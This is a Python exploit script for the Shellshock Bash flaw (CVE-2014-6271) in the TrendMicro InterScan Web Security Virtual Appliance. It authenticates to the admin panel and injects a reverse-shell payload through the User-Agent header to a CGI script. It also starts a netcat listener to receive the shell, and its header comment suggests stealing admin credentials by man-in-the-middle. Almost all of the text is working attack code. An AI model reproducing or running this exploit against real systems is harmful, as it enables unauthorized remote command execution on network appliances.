#!/usr/bin/env python# TrendMicro InterScan Web Security Virtul Appliance# ==================================================# InterScan Web Security is a software virtual appliance that # dynamically protects against the ever-growing flood of web # threats at the Internet gateway exclusively designed to secure # you against traditional and emerging web threats at the Internet # gateway. The appliance however is shipped with a vulnerable# version of Bash susceptible to shellshock (I know right?). An# attacker can exploit this vulnerability by calling the CGI# shellscript "/cgi-bin/cgiCmdNotify" which can be exploited# to perform arbitrary code execution. A limitation of this # vulnerability is that the attacker must have credentials for# the admin web interface to exploit this flaw. The panel runs# over HTTP by default so a man-in-the-middle attack could be# used to gain credentials and compromise the appliance.# # $ python trendmicro_IWSVA_shellshock.py 192.168.56.101 admin password 192.168.56.1# [+] TrendMicro InterScan Web Security Virtual Appliance CVE-2014-6271 exploit# [-] Authenticating to '192.168.56.101' with 'admin' 'password'# [-] JSESSIONID = DDE38E62757ADC00A51311F1F953EEBA# [-] exploiting shellshock CVE-2014-6271...# bash: no job control in this shell# bash-4.1$ id# uid=498(iscan) gid=499(iscan) groups=499(iscan)# # -- Hacker Fantastic ## (https://www.myhackerhouse.com)import requests
import sys
import os
defspawn_listener():
os.system("nc -l 8080")defshellshock(ip,session,cbip):
user_agent ={'User-agent':'() { :; }; /bin/bash -i >& /dev/tcp/'+cbip+'/8080 0>&1'}
cookies ={'JSESSIONID': session}print"[-] exploiting shellshock CVE-2014-6271..."
myreq = requests.get("http://"+ip+":1812/cgi-bin/cgiCmdNotify", headers = user_agent, cookies = cookies)deflogin_http(ip,user,password):
mydata ={'wherefrom':'','wronglogon':'no','uid':user,'passwd':password,'pwd':'Log+On'}print"[-] Authenticating to '%s' with '%s' '%s'"%(ip,user,password)
myreq = requests.post("http://"+ip+":1812/uilogonsubmit.jsp", data=mydata)
session_cookie = myreq.history[0].cookies.get('JSESSIONID')print"[-] JSESSIONID = %s"% session_cookie
return session_cookie
if __name__ =="__main__":print"[+] TrendMicro InterScan Web Security Virtual Appliance CVE-2014-6271 exploit"iflen(sys.argv)<5:print"[-] use with <ip> <user> <pass> <connectback_ip>"
sys.exit()
newRef=os.fork()if newRef==0:
spawn_listener()else:
session = login_http(sys.argv[1],sys.argv[2],sys.argv[3])
shellshock(sys.argv[1],session,sys.argv[4])